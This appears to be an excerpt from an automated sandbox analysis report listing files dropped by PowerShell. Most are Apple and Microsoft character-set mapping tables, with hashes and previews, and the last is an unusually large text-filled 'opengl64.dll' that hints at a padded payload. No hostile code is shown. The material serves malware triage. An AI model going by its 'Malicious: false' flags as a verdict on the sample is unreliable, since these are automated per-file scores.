C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13523
Entropy (8bit):	5.296024692716919
Encrypted:	false
SSDEEP:	192:xO1i8BsiHo9EB0QguBwjEZGWRBnBb7ec56ZcjVNs0sDTZLzPF5Ofzwswsc3ATpGE:A1Dsi1BwjTWRRBb7e6vY9PspP
MD5:	5C36E2CBA7FDD612C575D50974EF708A
SHA1:	B7A92B10DE26A0E23434152694302E4867B011DC
SHA-256:	F353D83DEF5C9632FFD1925A0F1480E3DC0E00C096AFF5680E448CBFD97FAD05
SHA-512:	9A2A71BF2DE141F7E0A295AD40824E63B7B18F1D530D90B5EDEEC78DD23EAAB733D40F95EC320EE2C7686A113BEE58FB92D48875D347C669C4C82F9AC27AF76E
Malicious:	false
Preview:	#=======================================================================..# FTP file name: CROATIAN.TXT..#..# Contents: Map (external version) from Mac OS Croatian..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 8.5; change..# mapping of 0xDB from CURRENCY SIGN to EURO..# SIGN. Update contact e-mail address. Matches..# internal utom<b2>, ufrm<b2>, and Text..# Encoding Converter version 1.5...# n07 1998-Feb-05 Minor update to header comments..# n05 1997-Dec-14 Update to match internal utom<5>, ufrm<16>:..# Change standard mapping for 0xBD from U+2126..# to its canonical decomposit

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13403
Entropy (8bit):	5.295063801170879
Encrypted:	false
SSDEEP:	192:BWDRi8BsiHopYZXC4JqANEZGWRBnBb7ec56ZmuZ6VfDjCfzB+CXp1:kDRDsiZZXC4qWTWRRBb7e6/o6NIXD
MD5:	DB4ED5C205FDDD693DC9CE69CCCAD036
SHA1:	FFAE0BE88D51D71FB1E496156564E55F874EFAD9
SHA-256:	10738CD5BBA3B23C02D3655BF2AFDF72DAEAAEF778CDA562C6D10AE8D25CA591
SHA-512:	0402D575C17D03E7AF8BF44F36EAD7D4CCD283375B65D94597ED927A3975D5427483C681A2C604B6F61D796E9C92868620594B7661DE6321920C23A6BA281C96
Malicious:	false
Preview:	#=======================================================================..# FTP file name: CYRILLIC.TXT..#..# Contents: Map (external version) from Mac OS Cyrillic..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 9.0 to merge..# with Mac OS Ukrainian and support EURO SIGN;..# Change mappings for 0xA2, 0xB6, and 0xFF...# Update contact e-mail address. Matches..# internal utom<b2>, ufrm<b2>, and Text..# Encoding Converter version 1.5...# n05 1998-Feb-05 Update header comments to new format; no..# mapping changes. Matches internal utom<n3>,..# ufrm<n13>, and Text Enc

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13326
Entropy (8bit):	5.304052629613915
Encrypted:	false
SSDEEP:	192:mHQSi8BsiHoGHUdfJt8skBEZGWRBnBb7ec56ZSj2z0sVRQvWJ9mfzDmb+mtGf0D:yhDsiydb8siTWRRBb7e6qvVCe8X2
MD5:	962D73AE58EA74DFA492BDA68064F130
SHA1:	B3ECD08894988A66C190AB75B88C3CC752ABA34F
SHA-256:	1CE082E86367551B2A21465D1B1C2EDC103242F7D565411DCEA0762E3DD63AA1
SHA-512:	5C3C8EE79C6714097B58276905F2532B1D8BE07FBE8DB129624F130BD6622BBA604393673D2932A08DF79EEA83CAEAF2CE157893EDE76BEF6FC1027573EA8592
Malicious:	false
Preview:	#=======================================================================..# FTP file name: GREEK.TXT..#..# Contents: Map (external version) from Mac OS Greek..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b1>, ufrm<b1>, and Text..# Encoding Converter version 1.5...# n06 1998-Feb-05 Update to match internal utom<n4>, ufrm<n17>,..# and Text Encoding Converter versions 1.3:..# Change mapping for 0xAF from U+0387 to its..# canonical decomposition, U+00B7. Also..# update header comments to new format...# n04 1995-Apr-15 First version (after fixing some typ

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14175
Entropy (8bit):	5.302410102144604
Encrypted:	false
SSDEEP:	192:496i8BsiHo4wg68wkw3EZGWRBnBb7ec56ZcjVNs0sDTZLF8GYpfzIiB7Ubc3jTpM:66Dsi61kw3TWRRBb7e6vYMGPaO
MD5:	48F0F1332ACA28076F1D479D8A1C0447
SHA1:	E19B21754D221F5FA53AECFB01B2578D9974F35D
SHA-256:	E04B3C96F65A27030B5E4B071D8E61B8EDE1D94CF7BF7845262B29BE2B7656AC
SHA-512:	7360AAB0683F102420E850E5B0CA7E366F605AEC7A3BE4305DC0FB27270209A006DC5AE1A28F68A7C4241BD1A674A215CE9C197E25AA3E18744691C1B987ABE6
Malicious:	false
Preview:	#=======================================================================..# FTP file name: ICELAND.TXT..#..# Contents: Map (external version) from Mac OS Icelandic..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 8.5; change..# mapping of 0xDB from CURRENCY SIGN to EURO..# SIGN. Update contact e-mail address. Matches..# internal utom<b2>, ufrm<b2>, and Text..# Encoding Converter version 1.5...# n06 1998-Feb-05 Minor update to header comments, add..# information on font variants..# n03 1997-Dec-14 Update to match internal utom<n4>, ufrm<n16>:..# Change standard mapping for 0xBD fro

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14394
Entropy (8bit):	5.320990806840885
Encrypted:	false
SSDEEP:	192:5iQi8BsiHo/F876g2pSSwpEZGWRBnBb7ec56ZcjVNs0sDTZLzGYpfzwUbc3jTpGN:VDsi88PSwpTWRRBb7e6vY9GcaO
MD5:	94A43862CB0159469484841D8370E552
SHA1:	45AFC896BB3EF65A7C77550244A52E7212DE89AD
SHA-256:	A58F56F7CF7767658CFF9FDFD1BA182CC74A513B3A2B6F34E44625FF811F53DD
SHA-512:	EB6454659FD8CB0A631875E27BBA01023EB3C75740379C2DEB514BC08577221A7914F2717F141134AEBC596CB4B34A523548A50F3448ABEDE2B87B4CCFCB93D5
Malicious:	false
Preview:	#=======================================================================..# FTP file name: ROMAN.TXT..#..# Contents: Map (external version) from Mac OS Roman..# character set to Unicode 2.1..#..# Copyright: (c) 1994-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b03 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b4>, ufrm<b3>, and Text..# Encoding Converter version 1.5...# b02 1998-Aug-18 Encoding changed for Mac OS 8.5; change..# mapping of 0xDB from CURRENCY SIGN to..# EURO SIGN. Matches internal utom<b3>,..# ufrm<b3>...# n08 1998-Feb-05 Minor update to header comments..# n06 1997-Dec-14 Add warning about future changes to 0xDB..# from CURRENCY S

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14763
Entropy (8bit):	5.310709655661504
Encrypted:	false
SSDEEP:	192:boRi8BsiHo/rUgyxUHwsEZGWRBnBb7ec56ZcjVNs0sDTZLzDvXYpfzTUbc3jTpGN:sRDsifxUHwsTWRRBb7e6vY9rhaO
MD5:	D39F6C0A8CFE6F118FFD105CF44DEA90
SHA1:	6C0AE83FD83E5B1AF2D288B149E0F7907DD378CC
SHA-256:	FF13110E8B448B033F464184A1A07B4CD32F0F0FEA203A4401C284073FFFAD66
SHA-512:	75A42575A542E95A9736DEAC09FE5480A52D514D9B09C2542A9BF7AF1DE104A3F83B29BF0C317B4D593D572BC1548728F2FB68115AB1506C5784528AE33710ED
Malicious:	false
Preview:	#=======================================================================..# FTP file name: ROMANIAN.TXT..#..# Contents: Map (external version) from Mac OS Romanian..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 8.5; change..# mapping of 0xDB from CURRENCY SIGN to EURO..# SIGN. Update contact e-mail address. Matches..# internal utom<b2>, ufrm<b2>, and Text..# Encoding Converter version 1.5...# n05 1998-Feb-05 Minor update to header comments..# n03 1997-Dec-14 Update to match internal utom<n5>, ufrm<n16>:..# Change standard mapping for 0xBD from U+2126..# to its canonical decompos

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	15702
Entropy (8bit):	5.388449528342355
Encrypted:	false
SSDEEP:	384:UDsinsKkRUJXEe3fLMxtASwgzWgfL3SR14oLLQQU0Kp9b:UY/wufLiR9LLQQUjp9b
MD5:	46485E1A024ABC31E8B9D2B4CA9A3B39
SHA1:	57F5F3109969A8DD8E71E1E925DEE37F2B61C016
SHA-256:	C57C451D4A524159BF143573CD0568869C8EED814A999BFF7F3E560DABD39F1D
SHA-512:	FBAFF075B556B461BA6DD731EC52DFE9D3A2BE202995E8DA1D4794AEDB812652A198FFCDAA0052C95FA57F94EDB5D51342B1A38E10F62A7CA506C41B759195E3
Malicious:	false
Preview:	#=======================================================================..# FTP file name: SYMBOL.TXT..#..# Contents: Map (external version) from Mac OS Symbol..# character set to Unicode 2.1..#..# Copyright: (c) 1994-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b03 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b3>, ufrm<b3>, and Text..# Encoding Converter version 1.5...# b02 1998-Aug-18 Encoding changed for Mac OS 8.5; add new..# mapping from 0xA0 to EURO SIGN. Matches..# internal utom<b3>, ufrm<b3>...# n05 1998-Feb-05 Update to match internal utom<n5>, ufrm<n15>..# and Text Encoding Converter version 1.3:..# Use standard Unicodes plus transcoding hints.

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12796
Entropy (8bit):	5.291769308017711
Encrypted:	false
SSDEEP:	192:y7gi8BsiHoGV1zjbweEZGWRBnBb7ec56ZcjVNs0sDTZLzGYpfzRzUUbc3jTpGNlw:WgDsiX1zjbweTWRRBb7e6vY9Gka3
MD5:	6BFAC3D4AB3AC941A0B2A29A56DE6F64
SHA1:	CDC38C3E0DE96C3F2B50448CF3DCF42D52E7E243
SHA-256:	9ECDE6F591CAED9C2CE4438884DA5F22E35FBDBB97E8D80B43129B23A6791891
SHA-512:	1E2645DF84C5392B09E85DAC63970BA49DEC9DEE63C06548F7717FBFCA2643646C1668202217EC836A663C4938FA45774D3C7A9A7254B926D75B0A32C90FD3EE
Malicious:	false
Preview:	#=======================================================================..# FTP file name: TURKISH.TXT..#..# Contents: Map (external version) from Mac OS Turkish..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b1>, ufrm<b1>, and Text..# Encoding Converter version 1.5...# n05 1998-Feb-05 Minor update to header comments..# n03 1997-Dec-14 Update to match internal utom<n5>, ufrm<n15>:..# Change standard mapping for 0xBD from U+2126..# to its canonical decomposition, U+03A9...# n02 1995-Apr-15 First version (after fixing some typos)...# Matches internal ufrm<n4>...#..# St

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4605
Entropy (8bit):	4.902825449710942
Encrypted:	false
SSDEEP:	96:OEyDE8TDyKJzAfa4evYBTY/qHoUbExiNU/qnTxFA:gD2i8BsiHobGHA
MD5:	96431211151B2E58C23262CCE683E033
SHA1:	FF90820BA88A249C4F8BB605D6F9D6CFCB896257
SHA-256:	98DD24A56E7D0E2BD2FC6A8BF429AA7BD3820B0D2D90456B972914639D2278ED
SHA-512:	28DCD7C9E41CD378F88A14DAFA5AE4CEC291206FEEA3BAE7A26C6F5681059CCBBF54A59C075A19F752E48658204C388B4495B707E7249F3622E827C24C83630B
Malicious:	false
Preview:	#=======================================================================..# FTP file name: UKRAINE.TXT..#..# Contents: Notes on Mac OS Ukrainian character set..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 9.0 to merge..# with Mac OS Cyrillic and support EURO SIGN;..# change mappings for 0xFF. For Mac OS 9.0..# there is no longer a separate Mac OS..# Ukrainian character set; the mappings are..# in CYRILLIC.TXT. Update contact e-mail..# address. Matches internal utom<b1>, ufrm<b1>,..# and Text Encoding Converter version 1.5...# n04 1998-Feb-05 Update header comments to new format; no..#

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\CP1250.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9799
Entropy (8bit):	4.843544571163451
Encrypted:	false
SSDEEP:	192:a0LuVb+Mu1eIqY/tJVLTjbew68i/+raRKUWKfThEYh4AIhvDHFzxn62hxSAWUMuA:aV3+qw7VLTjbewlKfn+Qx
MD5:	3C9476725FBFEEFFB9F549D995EE2815
SHA1:	8E2502EB4FC5137AE6E776D1F1804A3AFB6EAE31
SHA-256:	CF79BA755416AE5628A9DD1F870306B5A45FD6B256EFED0C2AC1CC2CCB3307F0
SHA-512:	FF35C0A6A878C303567D957C0E465CD9BCD0678C1BE3953B3438C686B4F739FB6F47A465465119B474D468D46B19397955E688FC2B92F71ABBEC276BE072F5C8
Malicious:	false
Preview:	#..# Name: cp1250 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1250 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1250 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\CP1251.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9474
Entropy (8bit):	4.8642300755279395
Encrypted:	false
SSDEEP:	192:3BHVb+Mu1eIqY/tJVLTjbew6a7ifHYhgjVJa66Oz9L:3v3+qw7VLTjbew/3GMOd
MD5:	2926366654DBC6711EE71BA2589161C3
SHA1:	455E6E5E78D03349454CB1C6B0175E9BF2B943CE
SHA-256:	F87ED4480CFDDB8F5F6226292338CA407CCC7B1A543F3832F1D20AFF6CB72A58
SHA-512:	A9A69E32A16ECF7DE291E4FA00C6CB349048CEB2F4070406C16B050439A4C2420A7DA0F1FC9A0B76E21439B8DEABCDD2085C3C14411A6032226C74274DD1E49B
Malicious:	false
Preview:	#..# Name: cp1251 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1251 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1251 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\CP1252.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9624
Entropy (8bit):	4.844898968819124
Encrypted:	false
SSDEEP:	192:YUsVb+Mu1eIqY/tJVLTjbew6SiNNzu6NSCYyhrt0K5n9dWGufxvH+Gv:Y93+qw7VLTjbewtUSLO+RV
MD5:	93FB108016F8A1E87E4129B21FE9984B
SHA1:	F6D6B1CAC29FDFFE774E5175CB60970BA373A656
SHA-256:	FCA3AB5882F0A562794F05D7F15A39157C59D7C07FCBAC79AB7CF3D12C979541
SHA-512:	E0679DDB288423557170C09BF6848D6D8D74F9E70BD751131DB7BD248446606DB856A86AF7AC8E3500B2950261DE199A5EDE444D8BF451EE1CCC6CC854151342
Malicious:	false
Preview:	#..# Name: cp1252 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1252 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1252 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\CP1253.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9207
Entropy (8bit):	4.894527598941472
Encrypted:	false
SSDEEP:	192:Nz9Vb+Mu1eIqY/tJVLTjbew6Si/0eTmVvZOzdTWb7D:Nr3+qw7VLTjbewGsB
MD5:	6B77BAAC03038B028948D2A667EFDAA1
SHA1:	6AFBC63AB3A2B0BF10CBE802F7633DA3E3198417
SHA-256:	2D36BEC3E1ECBF2B6DE8A37C98717AE21CA8C5BC0B487556996B3FFF2B6F6FD9
SHA-512:	D7541266B100AC879BE8139108344121B10390350B93D26C6F5C5279C18503D7B6829332281A892369DE4D578090987D1310201262C181ADDBC3B9D9495BD209
Malicious:	false
Preview:	#..# Name: cp1253 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1253 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1253 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\CP1254.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9615
Entropy (8bit):	4.848162639665052
Encrypted:	false
SSDEEP:	192:uWKVb+Mu1eIqY/tJVLTjbew6SiNAH6NSCYyhrUJ0KXdWG0xvfxvHZ:ul3+qw7VLTjbewfUSL5y/D
MD5:	65D7C9205E1A1393B8530670ADD4E596
SHA1:	535CADA91E5FBA038E0FD9F2214F91A83C3BE45D
SHA-256:	32FA83C6F8AD346E66E544640942906E0A91CC0D2075324B7F244695DE5740A5
SHA-512:	95798F9E068A82380BDBDF649A2DD2F7CC72206444DE0A7B9AB2DE2CBD9938DC0856F2A0FAEB29BCC965900448DFB0E7DDDEF0CC8E1C5711896F1B82D40A3CA1
Malicious:	false
Preview:	#..# Name: cp1254 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1254 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1254 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\CP1257.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9487
Entropy (8bit):	4.86319654192735
Encrypted:	false
SSDEEP:	192:BPJVb+Mu1eIqY/tJVLTjbew68i/vgIey4tvPhSiY+21KBrNbxlv0:BT3+qw7VLTjbew9Wo77A
MD5:	002134C7EA7F619246BBF445CAAD9F08
SHA1:	DEF97351B77EBF6210B6BFB69B8BC3A4F9A64C36
SHA-256:	7CB16A0B949F8573B06F22F091C44A1EA251CC9904591FCEB2743475302C4640
SHA-512:	95E4620258B0189B993BB56F2219F73D84145BD8E5B45F9AD70899D8DA0E742BB3EAD8697E5335E4DE895BED925F6212D96F813B0CE9383AE42A967CCA2730CA
Malicious:	false
Preview:	#..# Name: cp1257 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1257 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1257 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\TypeSupport\Unicode\Mappings\win\CP1258.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9477
Entropy (8bit):	4.8619811680211615
Encrypted:	false
SSDEEP:	192:Sy2Vb+Mu1eIqY/tJVLTjbew6SiNne6NSCYh3hDDEYx1W/nxKHK:S13+qw7VLTjbew/USLkfz
MD5:	88E9B5216B90D0332BD2CD4FCEE88A22
SHA1:	748EC8B8B4427F3B48B23B3B224C1CFFEA2DD169
SHA-256:	F53D0FFB7F3C8182794331CFDD2FBCF77FF6DBDB05B415C98CC8D6FC49DCE2FB
SHA-512:	9D5D6E0CF41E9054D3C9253CEC0A482DD97E412794523E352C06D39666931B1D8291FEF1C5BBEF629EB7C1BB53D866FE2EB925CB314026BF027EAABB1208F0BB
Malicious:	false
Preview:	#..# Name: cp1258 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1258 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1258 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\opengl64.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	152875008
Entropy (8bit):	3.895011924449357
Encrypted:	false
SSDEEP:	48:0ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZY:n
MD5:	71466589EB444BBF272C0F5C920C57F0
SHA1:	4FCACE49EE032779D3BF7B8E03C6A9F29ED871BA
SHA-256:	E7D625CF255360B0EA96A52CA990BE6F1CEF522FF7440393E45B12793AC88031
